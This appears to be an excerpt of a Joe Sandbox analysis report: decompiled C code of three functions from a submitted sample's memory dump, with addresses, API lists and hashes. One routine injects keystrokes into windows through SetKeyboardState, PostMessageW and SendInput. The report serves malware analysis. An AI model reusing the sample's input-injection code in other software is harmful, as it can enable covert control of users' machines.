                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E00457838(void* __fp0, intOrPtr* _a4, intOrPtr _a8) {
				intOrPtr _v0;
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _t64;
				signed int _t65;
				intOrPtr* _t78;
				void* _t83;
				intOrPtr* _t84;
				void* _t86;

				_t86 =  &_v12;
				_t78 = _a4;
				_t64 = 0;
				 *((intOrPtr*)(_t78 + 0x18)) = 0;
				 *((intOrPtr*)(_t78 + 0x1c)) = 0;
				 *((intOrPtr*)(_t78 + 0x2c)) = 0;
				_a8 = 0;
				if( *((intOrPtr*)(_t78 + 0xc)) <= 0) {
					L27:
					return _t64;
				}
				_t8 = _t64 + 0x10; // 0x10
				_t83 = _t8;
				_t84 = _t78 + 0x30;
				while(1) {
					 *_t84 = _t64;
					 *((intOrPtr*)(_t84 + 0x14)) = _t64;
					_t65 =  *(_t84 + 8);
					if(_t65 > 0xf) {
						goto L26;
					}
					switch( *((intOrPtr*)(_t65 * 4 +  &M00457A58))) {
						case 0:
							__ecx = _a4;
							__ecx =  *((intOrPtr*)(__edi + _a4));
							__eax = E0040C760( *((intOrPtr*)(__edi + _a4)));
							 *__esi = __al;
							goto L26;
						case 1:
							__edx = _a4;
							__ecx =  *((intOrPtr*)(__edi + _a4));
							__eax = E0040C760( *((intOrPtr*)(__edi + _a4)));
							 *__esi = __al;
							goto L26;
						case 2:
							__edx = _a4;
							__ecx =  *((intOrPtr*)(__edi + _a4));
							__eax = E0040C760( *((intOrPtr*)(__edi + _a4)));
							 *__esi = __ax;
							goto L26;
						case 3:
							__eax = _a4;
							__ecx =  *((intOrPtr*)(__edi + _a4));
							__eax = E0040C760( *((intOrPtr*)(__edi + _a4)));
							 *__esi = __ax;
							goto L26;
						case 4:
							__eax = _a4;
							__ecx =  *((intOrPtr*)(__edi + _a4));
							 *__esi = E0040C760( *((intOrPtr*)(__edi + _a4)));
							goto L26;
						case 5:
							__ecx = _a4;
							__eax =  *((intOrPtr*)(__edi + _a4));
							 *__esi = E00443576( *((intOrPtr*)(__edi + _a4)));
							goto L26;
						case 6:
							_t70 = E004112D5(E00453081( *((intOrPtr*)(_t83 + _a4))));
							_t87 = _t86 + 4;
							_t91 = _t70 - 0x10000;
							if(_t70 < 0x10000) {
								_t70 = 0x10000;
							}
							_v8 = E004138BA(_t78, _t82, _t83, _t70 + 1);
							_t75 = E0040F580(E00453081( *((intOrPtr*)(_t83 + _a4))), _t83);
							_t80 = _v12;
							_v8 = _t75;
							E00413990(_t80, _t75);
							_t82 = _v8;
							E004112EF(_t80, _v8, _t83, _t84, _t91, _v8);
							 *_t84 = _t80;
							 *((intOrPtr*)(_t84 + 0x14)) = _t80;
							_t78 = _v0;
							_t86 = _t87 + 0x10;
							goto L26;
						case 7:
							_a4 =  *((intOrPtr*)(__edi + _a4));
							__eax = E00453081( *((intOrPtr*)(__edi + _a4)));
							__eax = E004112D5(__eax);
							__eflags = __eax - 0x10000;
							if(__eax < 0x10000) {
								__eax = 0x10000;
							}
							_t27 = __eax + 2; // 0x10002
							__ecx = __eax + _t27;
							__eax = E004138BA(__ebx, __edx, __edi, __eax + _t27);
							__edx = _a4;
							__ebx = __eax;
							 *((intOrPtr*)(__edi + _a4)) = E00453081( *((intOrPtr*)(__edi + _a4)));
							__eax = E00411691(__ebx, __eax);
							 *__esi = __ebx;
							 *((intOrPtr*)(__esi + 0x14)) = __ebx;
							__ebx = _v0;
							goto L26;
						case 8:
							__edx = _a4;
							__eax =  *((intOrPtr*)(__edi + _a4));
							 *__esi = E0044B390( *((intOrPtr*)(__edi + _a4)));
							goto L26;
						case 9:
							__eax = _a4;
							__ecx =  *((intOrPtr*)(__edi + _a4));
							__eax = E0040BE90( *((intOrPtr*)(__edi + _a4)));
							 *__esi = __fp0;
							goto L26;
						case 0xa:
							__ecx = _a4;
							__ecx =  *((intOrPtr*)(__edi + _a4));
							__eax = E0040BE90( *((intOrPtr*)(__edi + _a4)));
							 *__esi = __fp0;
							goto L26;
						case 0xb:
							_a4 =  *((intOrPtr*)(__edi + _a4));
							 *__esi = E00443576( *((intOrPtr*)(__edi + _a4)));
							goto L26;
						case 0xc:
							__edx = _a4;
							__eax =  *((intOrPtr*)(__edi + _a4));
							 *__esi = E00443576( *((intOrPtr*)(__edi + _a4)));
							 *((intOrPtr*)(__esi + 4)) = __edx;
							goto L26;
						case 0xd:
							_a4 =  *((intOrPtr*)(__edi + _a4));
							 *__esi = E00443576( *((intOrPtr*)(__edi + _a4)));
							 *((intOrPtr*)(__esi + 4)) = __edx;
							goto L26;
						case 0xe:
							__ecx = _a4;
							__edx =  *((intOrPtr*)(__edi + _a4));
							__eax = E0043550E(__edx);
							__eflags = __al;
							if(__al == 0) {
								 *__esi = 0;
							} else {
								__edx =  *__edx;
								__eax =  *((intOrPtr*)(__edx + 8));
								 *__esi =  *((intOrPtr*)(__edx + 8));
							}
							goto L26;
					}
					L26:
					_t64 = _a8 + 1;
					_t83 = _t83 + 8;
					_t84 = _t84 + 0x18;
					_a8 = _t64;
					if(_t64 <  *((intOrPtr*)(_t78 + 0xc))) {
						_t64 = 0;
						continue;
					}
					goto L27;
				}
			}












                                                                                                                                                                            0x00457838
                                                                                                                                                                            0x0045783c
                                                                                                                                                                            0x00457840
                                                                                                                                                                            0x0045784c
                                                                                                                                                                            0x0045784f
                                                                                                                                                                            0x00457852
                                                                                                                                                                            0x00457855
                                                                                                                                                                            0x00457859
                                                                                                                                                                            0x00457a53
                                                                                                                                                                            0x00457a53
                                                                                                                                                                            0x00457a53
                                                                                                                                                                            0x0045785f
                                                                                                                                                                            0x0045785f
                                                                                                                                                                            0x00457862
                                                                                                                                                                            0x0045786a
                                                                                                                                                                            0x0045786a
                                                                                                                                                                            0x0045786c
                                                                                                                                                                            0x0045786f
                                                                                                                                                                            0x00457875
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045787b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045798d
                                                                                                                                                                            0x00457990
                                                                                                                                                                            0x00457993
                                                                                                                                                                            0x00457998
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045799f
                                                                                                                                                                            0x004579a2
                                                                                                                                                                            0x004579a5
                                                                                                                                                                            0x004579aa
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00457967
                                                                                                                                                                            0x0045796a
                                                                                                                                                                            0x0045796d
                                                                                                                                                                            0x00457972
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045797a
                                                                                                                                                                            0x0045797d
                                                                                                                                                                            0x00457980
                                                                                                                                                                            0x00457985
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00457942
                                                                                                                                                                            0x00457945
                                                                                                                                                                            0x0045794d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00457954
                                                                                                                                                                            0x00457957
                                                                                                                                                                            0x00457960
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045788f
                                                                                                                                                                            0x00457894
                                                                                                                                                                            0x00457897
                                                                                                                                                                            0x0045789c
                                                                                                                                                                            0x0045789e
                                                                                                                                                                            0x0045789e
                                                                                                                                                                            0x004578ad
                                                                                                                                                                            0x004578bf
                                                                                                                                                                            0x004578c4
                                                                                                                                                                            0x004578ca
                                                                                                                                                                            0x004578ce
                                                                                                                                                                            0x004578d3
                                                                                                                                                                            0x004578d8
                                                                                                                                                                            0x004578dd
                                                                                                                                                                            0x004578df
                                                                                                                                                                            0x004578e2
                                                                                                                                                                            0x004578e6
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004578f1
                                                                                                                                                                            0x004578f5
                                                                                                                                                                            0x004578fb
                                                                                                                                                                            0x00457903
                                                                                                                                                                            0x00457908
                                                                                                                                                                            0x0045790a
                                                                                                                                                                            0x0045790a
                                                                                                                                                                            0x0045790f
                                                                                                                                                                            0x0045790f
                                                                                                                                                                            0x00457914
                                                                                                                                                                            0x00457919
                                                                                                                                                                            0x0045791c
                                                                                                                                                                            0x00457925
                                                                                                                                                                            0x0045792c
                                                                                                                                                                            0x00457931
                                                                                                                                                                            0x00457933
                                                                                                                                                                            0x00457936
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004579cf
                                                                                                                                                                            0x004579d2
                                                                                                                                                                            0x004579db
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004579b1
                                                                                                                                                                            0x004579b4
                                                                                                                                                                            0x004579b7
                                                                                                                                                                            0x004579bc
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004579c0
                                                                                                                                                                            0x004579c3
                                                                                                                                                                            0x004579c6
                                                                                                                                                                            0x004579cb
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004579e2
                                                                                                                                                                            0x004579eb
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004579ef
                                                                                                                                                                            0x004579f2
                                                                                                                                                                            0x004579fb
                                                                                                                                                                            0x004579fd
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00457a05
                                                                                                                                                                            0x00457a0e
                                                                                                                                                                            0x00457a10
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00457a15
                                                                                                                                                                            0x00457a18
                                                                                                                                                                            0x00457a1c
                                                                                                                                                                            0x00457a21
                                                                                                                                                                            0x00457a23
                                                                                                                                                                            0x00457a2e
                                                                                                                                                                            0x00457a25
                                                                                                                                                                            0x00457a25
                                                                                                                                                                            0x00457a27
                                                                                                                                                                            0x00457a2a
                                                                                                                                                                            0x00457a2a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00457a34
                                                                                                                                                                            0x00457a38
                                                                                                                                                                            0x00457a39
                                                                                                                                                                            0x00457a3c
                                                                                                                                                                            0x00457a42
                                                                                                                                                                            0x00457a46
                                                                                                                                                                            0x00457868
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00457868
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00457a46

                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _malloc_wcslen$_strcat_wcscpy
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1612042205-0
                                                                                                                                                                            • Opcode ID: 578c5c376feb343c52eaa3d9af458d5e739c836b3e59a5724d6bca650b419c73
                                                                                                                                                                            • Instruction ID: 39b6431fb86a1cae222df6ecce28f21653e085caad8de22f1e35678e4483a9b6
                                                                                                                                                                            • Opcode Fuzzy Hash: 578c5c376feb343c52eaa3d9af458d5e739c836b3e59a5724d6bca650b419c73
                                                                                                                                                                            • Instruction Fuzzy Hash: CD613B70504202EFCB10EF29D58096AB3E5FF48305B50496EF8859B306D738EE59DB9A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0044C522 Relevance: 9.2, APIs: 6, Instructions: 155windowkeyboardCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 93%
                                                                                                                                                                            			E0044C522(void* __fp0) {
				signed char _t60;
				int _t61;
				intOrPtr* _t71;
				struct HWND__* _t72;
				long _t75;
				intOrPtr _t77;
				void* _t78;

				_t92 = __fp0;
				_t77 =  *((intOrPtr*)(_t78 + 0x134));
				_t72 =  *(_t77 + 0x20);
				_t71 =  *((intOrPtr*)(_t78 + 0x140));
				_t60 =  *_t71;
				 *(_t78 + 0x14) = _t60;
				 *(_t78 + 0x10) =  *((intOrPtr*)(_t71 + 7));
				 *(_t78 + 0x18) =  *(_t71 + 8) & 0x0000ffff;
				if(_t72 == 0 || _t60 == 0x14 || _t60 == 0x90 || _t60 == 0x91) {
					if(E00437A22(_t71) == 0) {
						 *((short*)(_t78 + 0x26)) =  *(_t78 + 0x18);
						 *(_t78 + 0x28) = 1;
						 *((short*)(_t78 + 0x2c)) = 0;
						 *((intOrPtr*)(_t78 + 0x30)) = 4;
						 *((intOrPtr*)(_t78 + 0x34)) = 0;
						 *(_t78 + 0x38) = 0;
						 *0x4825b4(1, _t78 + 0x20, 0x1c);
						return E0043792A(_t92, _t77);
					} else {
						if(E00444EF7(_t71) != 1) {
							E004378B5(_t77,  *(_t78 + 0x14),  *(_t78 + 0x10), 0);
							return E0043792A(_t92, _t77);
						} else {
							E004378B5(_t77,  *(_t78 + 0x14),  *(_t78 + 0x10), 1);
							return E0043792A(_t92, _t77);
						}
					}
				} else {
					if(E00437A22(_t71) == 0) {
						PostMessageW(_t72, 0x102,  *(_t78 + 0x18) & 0x0000ffff, 1);
						return E0043792A(__fp0, _t77);
					} else {
						GetKeyboardState(_t78 + 0x38);
						_t61 = _t60 & 0x000000ff;
						 *(_t78 + _t61 + 0x38) =  *(_t78 + _t61 + 0x38) | 0x00000080;
						SetKeyboardState(_t78 + 0x38);
						_t75 = ( *(_t78 + 0x10) & 0x000000ff) << 0x00000010 | 0x00000001;
						if(E00444EF7(_t71) == 1) {
							_t75 = _t75 | 0x01000000;
						}
						if( *((char*)(_t77 + 0x17)) != 0 ||  *((char*)(_t77 + 0x1d)) != 0 ||  *(_t78 + 0x14) == 0x12) {
							if( *((char*)(_t77 + 0x16)) != 0 ||  *((char*)(_t77 + 0x1c)) != 0) {
								goto L13;
							} else {
								PostMessageW( *(_t77 + 0x20), 0x104, _t61, _t75 | 0x20000000);
								return E0043792A(_t92, _t77);
							}
						} else {
							L13:
							PostMessageW( *(_t77 + 0x20), 0x100, _t61, _t75);
							return E0043792A(_t92, _t77);
						}
					}
				}
			}










                                                                                                                                                                            0x0044c522
                                                                                                                                                                            0x0044c52a
                                                                                                                                                                            0x0044c532
                                                                                                                                                                            0x0044c536
                                                                                                                                                                            0x0044c541
                                                                                                                                                                            0x0044c546
                                                                                                                                                                            0x0044c54a
                                                                                                                                                                            0x0044c54e
                                                                                                                                                                            0x0044c554
                                                                                                                                                                            0x0044c658
                                                                                                                                                                            0x0044c6b9
                                                                                                                                                                            0x0044c6c5
                                                                                                                                                                            0x0044c6cd
                                                                                                                                                                            0x0044c6d2
                                                                                                                                                                            0x0044c6da
                                                                                                                                                                            0x0044c6de
                                                                                                                                                                            0x0044c6e2
                                                                                                                                                                            0x0044c6f8
                                                                                                                                                                            0x0044c65a
                                                                                                                                                                            0x0044c662
                                                                                                                                                                            0x0044c696
                                                                                                                                                                            0x0044c6ab
                                                                                                                                                                            0x0044c664
                                                                                                                                                                            0x0044c671
                                                                                                                                                                            0x0044c686
                                                                                                                                                                            0x0044c686
                                                                                                                                                                            0x0044c662
                                                                                                                                                                            0x0044c575
                                                                                                                                                                            0x0044c57d
                                                                                                                                                                            0x0044c637
                                                                                                                                                                            0x0044c64d
                                                                                                                                                                            0x0044c583
                                                                                                                                                                            0x0044c588
                                                                                                                                                                            0x0044c58e
                                                                                                                                                                            0x0044c591
                                                                                                                                                                            0x0044c59b
                                                                                                                                                                            0x0044c5aa
                                                                                                                                                                            0x0044c5b4
                                                                                                                                                                            0x0044c5b6
                                                                                                                                                                            0x0044c5b6
                                                                                                                                                                            0x0044c5c0
                                                                                                                                                                            0x0044c5d3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044c5db
                                                                                                                                                                            0x0044c5ec
                                                                                                                                                                            0x0044c602
                                                                                                                                                                            0x0044c602
                                                                                                                                                                            0x0044c605
                                                                                                                                                                            0x0044c605
                                                                                                                                                                            0x0044c610
                                                                                                                                                                            0x0044c626
                                                                                                                                                                            0x0044c626
                                                                                                                                                                            0x0044c5c0
                                                                                                                                                                            0x0044c57d

                                                                                                                                                                            APIs
                                                                                                                                                                            • GetKeyboardState.USER32(?,?,00000001,00000001,?,00000000), ref: 0044C588
                                                                                                                                                                            • SetKeyboardState.USER32(00000080), ref: 0044C59B
                                                                                                                                                                            • PostMessageW.USER32(?,00000104,?,?), ref: 0044C5EC
                                                                                                                                                                            • PostMessageW.USER32(?,00000100,?,?), ref: 0044C610
                                                                                                                                                                            • PostMessageW.USER32(?,00000102,?,00000001), ref: 0044C637
                                                                                                                                                                            • SendInput.USER32 ref: 0044C6E2
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MessagePost$KeyboardState$InputSend
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2221674350-0
                                                                                                                                                                            • Opcode ID: 061e63fcf1402e721e52ee56d2f22f81c2cbe03cfd8f861d8ff00d299370d474
                                                                                                                                                                            • Instruction ID: 3a634557d1668dba9f4fbb3ffee1259adddcddb7f3fce46f2ce6721246940f3b
                                                                                                                                                                            • Opcode Fuzzy Hash: 061e63fcf1402e721e52ee56d2f22f81c2cbe03cfd8f861d8ff00d299370d474
                                                                                                                                                                            • Instruction Fuzzy Hash: A24148725053486AF760EF209C80BFFBB98EF95324F04151FFDC412281D66E984987BA
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00445153 Relevance: 9.1, APIs: 6, Instructions: 142COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E00445153() {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t34;
				signed int _t36;
				signed int _t37;
				signed int _t47;
				signed int _t49;
				signed int _t52;
				signed int _t56;
				signed int _t57;
				signed int _t58;
				signed int _t59;
				signed int _t60;
				intOrPtr _t64;
				intOrPtr _t65;
				signed int _t67;
				signed int _t68;
				signed int _t70;
				void* _t71;

				_t65 =  *((intOrPtr*)(_t71 + 0x14));
				_t64 =  *((intOrPtr*)(_t71 + 0x1c));
				_t34 = 0;
				while(1) {
					_t57 =  *(_t65 + _t34 * 2) & 0x0000ffff;
					if(_t57 != 0x20 && _t57 != 9) {
						break;
					}
					_t34 = _t34 + 1;
				}
				_t58 =  *(_t65 + _t34 * 2) & 0x0000ffff;
				__eflags = _t58 - 0x22;
				if(_t58 != 0x22) {
					__eflags = _t58 - 0x27;
					if(_t58 != 0x27) {
						__eflags = _t58 - 0x3c;
						if(_t58 != 0x3c) {
							goto L28;
						} else {
							_t63 = 0x3e;
							_t56 = 0;
							__eflags = 0;
							goto L10;
						}
					} else {
						_t63 = 0x27;
						_t56 = 1;
						goto L10;
					}
				} else {
					_t63 = 0x22;
					_t56 = 1;
					L10:
					_t59 =  *(_t65 + 2 + _t34 * 2) & 0x0000ffff;
					_t36 = _t34 + 1;
					_t67 = 0;
					__eflags = _t59 - _t63;
					if(_t59 != _t63) {
						while(1) {
							__eflags = _t59;
							if(_t59 == 0) {
								goto L13;
							}
							_t36 = _t36 + 1;
							 *(_t64 + _t67 * 2) = _t59;
							_t59 =  *(_t65 + _t36 * 2) & 0x0000ffff;
							_t67 = _t67 + 1;
							__eflags = _t59 - _t63;
							if(_t59 != _t63) {
								continue;
							}
							goto L13;
						}
					}
					L13:
					__eflags =  *(_t65 + _t36 * 2) - _t63;
					if( *(_t65 + _t36 * 2) != _t63) {
						L28:
						__eflags = 0;
						return 0;
					} else {
						goto L14;
						do {
							do {
								L14:
								_t60 =  *(_t65 + 2 + _t36 * 2) & 0x0000ffff;
								_t36 = _t36 + 1;
								__eflags = _t60 - 0x20;
							} while (_t60 == 0x20);
							__eflags = _t60 - 9;
						} while (_t60 == 9);
						_t37 =  *(_t65 + _t36 * 2) & 0x0000ffff;
						__eflags = _t37;
						if(__eflags == 0) {
							L18:
							 *(_t64 + _t67 * 2) = 0;
							_t66 = E0040FFF0(_t56, _t64, __eflags);
							E004450B6(_t60, __eflags, _t39);
							E00445111(_t60, __eflags, _t39);
							__eflags = _t56;
							if(_t56 == 0) {
								_t56 =  *((intOrPtr*)(_t71 + 0x14));
								_t68 = 0;
								__eflags =  *(_t56 + 0x3c);
								if(__eflags > 0) {
									while(1) {
										E00411691(_t64,  *((intOrPtr*)( *((intOrPtr*)(_t56 + 0x38)) + _t68 * 4)));
										E00411663(_t64, _t66);
										_t47 = E00436B22(_t64);
										_t71 = _t71 + 0x14;
										__eflags = _t47;
										if(__eflags != 0) {
											goto L27;
										}
										E00411691(_t64, _t66);
										_t68 = _t68 + 1;
										_t71 = _t71 + 8;
										__eflags = _t68 -  *(_t56 + 0x3c);
										if(__eflags < 0) {
											continue;
										}
										goto L27;
									}
								}
								goto L27;
							} else {
								_t49 = E00436B22(_t64);
								_t71 = _t71 + 4;
								__eflags = _t49;
								if(__eflags != 0) {
									L27:
									E004112EF(_t56, _t63, _t64, _t66, __eflags, _t66);
									return 1;
								} else {
									_t56 =  *((intOrPtr*)(_t71 + 0x14));
									_t70 =  *(_t56 + 0x3c) - 1;
									__eflags = _t70;
									if(__eflags >= 0) {
										while(1) {
											_t63 =  *((intOrPtr*)( *((intOrPtr*)(_t56 + 0x38)) + _t70 * 4));
											E00411691(_t64,  *((intOrPtr*)( *((intOrPtr*)(_t56 + 0x38)) + _t70 * 4)));
											E00411663(_t64, _t66);
											_t52 = E00436B22(_t64);
											_t71 = _t71 + 0x14;
											__eflags = _t52;
											if(__eflags != 0) {
												goto L27;
											}
											E00411691(_t64, _t66);
											_t71 = _t71 + 8;
											_t70 = _t70 - 1;
											__eflags = _t70;
											if(__eflags >= 0) {
												continue;
											} else {
												E004112EF(_t56, _t63, _t64, _t66, __eflags, _t66);
												return 1;
											}
											goto L29;
										}
									}
									goto L27;
								}
							}
						} else {
							__eflags = _t37 - 0x3b;
							if(__eflags != 0) {
								goto L28;
							} else {
								goto L18;
							}
						}
					}
				}
				L29:
			}
























                                                                                                                                                                            0x00445156
                                                                                                                                                                            0x0044515b
                                                                                                                                                                            0x0044515f
                                                                                                                                                                            0x00445163
                                                                                                                                                                            0x00445163
                                                                                                                                                                            0x0044516b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00445173
                                                                                                                                                                            0x00445173
                                                                                                                                                                            0x00445176
                                                                                                                                                                            0x0044517a
                                                                                                                                                                            0x0044517e
                                                                                                                                                                            0x00445189
                                                                                                                                                                            0x0044518d
                                                                                                                                                                            0x00445198
                                                                                                                                                                            0x0044519c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004451a2
                                                                                                                                                                            0x004451a2
                                                                                                                                                                            0x004451a7
                                                                                                                                                                            0x004451a7
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004451a7
                                                                                                                                                                            0x0044518f
                                                                                                                                                                            0x0044518f
                                                                                                                                                                            0x00445194
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00445194
                                                                                                                                                                            0x00445180
                                                                                                                                                                            0x00445180
                                                                                                                                                                            0x00445185
                                                                                                                                                                            0x004451a9
                                                                                                                                                                            0x004451a9
                                                                                                                                                                            0x004451ae
                                                                                                                                                                            0x004451af
                                                                                                                                                                            0x004451b1
                                                                                                                                                                            0x004451b4
                                                                                                                                                                            0x004451b6
                                                                                                                                                                            0x004451b6
                                                                                                                                                                            0x004451b9
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004451bb
                                                                                                                                                                            0x004451bc
                                                                                                                                                                            0x004451c0
                                                                                                                                                                            0x004451c4
                                                                                                                                                                            0x004451c5
                                                                                                                                                                            0x004451c8
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004451c8
                                                                                                                                                                            0x004451b6
                                                                                                                                                                            0x004451ca
                                                                                                                                                                            0x004451ca
                                                                                                                                                                            0x004451ce
                                                                                                                                                                            0x004452ca
                                                                                                                                                                            0x004452ca
                                                                                                                                                                            0x004452cd
                                                                                                                                                                            0x004451d4
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004451d4
                                                                                                                                                                            0x004451d4
                                                                                                                                                                            0x004451d4
                                                                                                                                                                            0x004451d4
                                                                                                                                                                            0x004451d9
                                                                                                                                                                            0x004451da
                                                                                                                                                                            0x004451da
                                                                                                                                                                            0x004451e0
                                                                                                                                                                            0x004451e0
                                                                                                                                                                            0x004451e6
                                                                                                                                                                            0x004451ea
                                                                                                                                                                            0x004451ed
                                                                                                                                                                            0x004451f9
                                                                                                                                                                            0x004451fb
                                                                                                                                                                            0x00445204
                                                                                                                                                                            0x00445207
                                                                                                                                                                            0x0044520d
                                                                                                                                                                            0x00445212
                                                                                                                                                                            0x00445214
                                                                                                                                                                            0x00445279
                                                                                                                                                                            0x0044527d
                                                                                                                                                                            0x0044527f
                                                                                                                                                                            0x00445282
                                                                                                                                                                            0x00445284
                                                                                                                                                                            0x0044528c
                                                                                                                                                                            0x00445293
                                                                                                                                                                            0x00445299
                                                                                                                                                                            0x0044529e
                                                                                                                                                                            0x004452a1
                                                                                                                                                                            0x004452a3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004452a7
                                                                                                                                                                            0x004452ac
                                                                                                                                                                            0x004452ad
                                                                                                                                                                            0x004452b0
                                                                                                                                                                            0x004452b3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004452b3
                                                                                                                                                                            0x00445284
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00445216
                                                                                                                                                                            0x00445217
                                                                                                                                                                            0x0044521c
                                                                                                                                                                            0x0044521f
                                                                                                                                                                            0x00445221
                                                                                                                                                                            0x004452b5
                                                                                                                                                                            0x004452b6
                                                                                                                                                                            0x004452c4
                                                                                                                                                                            0x00445227
                                                                                                                                                                            0x00445227
                                                                                                                                                                            0x0044522e
                                                                                                                                                                            0x0044522e
                                                                                                                                                                            0x00445231
                                                                                                                                                                            0x00445237
                                                                                                                                                                            0x0044523a
                                                                                                                                                                            0x0044523f
                                                                                                                                                                            0x00445246
                                                                                                                                                                            0x0044524c
                                                                                                                                                                            0x00445251
                                                                                                                                                                            0x00445254
                                                                                                                                                                            0x00445256
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044525a
                                                                                                                                                                            0x0044525f
                                                                                                                                                                            0x00445262
                                                                                                                                                                            0x00445262
                                                                                                                                                                            0x00445265
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00445267
                                                                                                                                                                            0x00445268
                                                                                                                                                                            0x00445276
                                                                                                                                                                            0x00445276
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00445265
                                                                                                                                                                            0x00445237
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00445231
                                                                                                                                                                            0x00445221
                                                                                                                                                                            0x004451ef
                                                                                                                                                                            0x004451ef
                                                                                                                                                                            0x004451f3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004451f3
                                                                                                                                                                            0x004451ed
                                                                                                                                                                            0x004451ce
                                                                                                                                                                            0x00000000

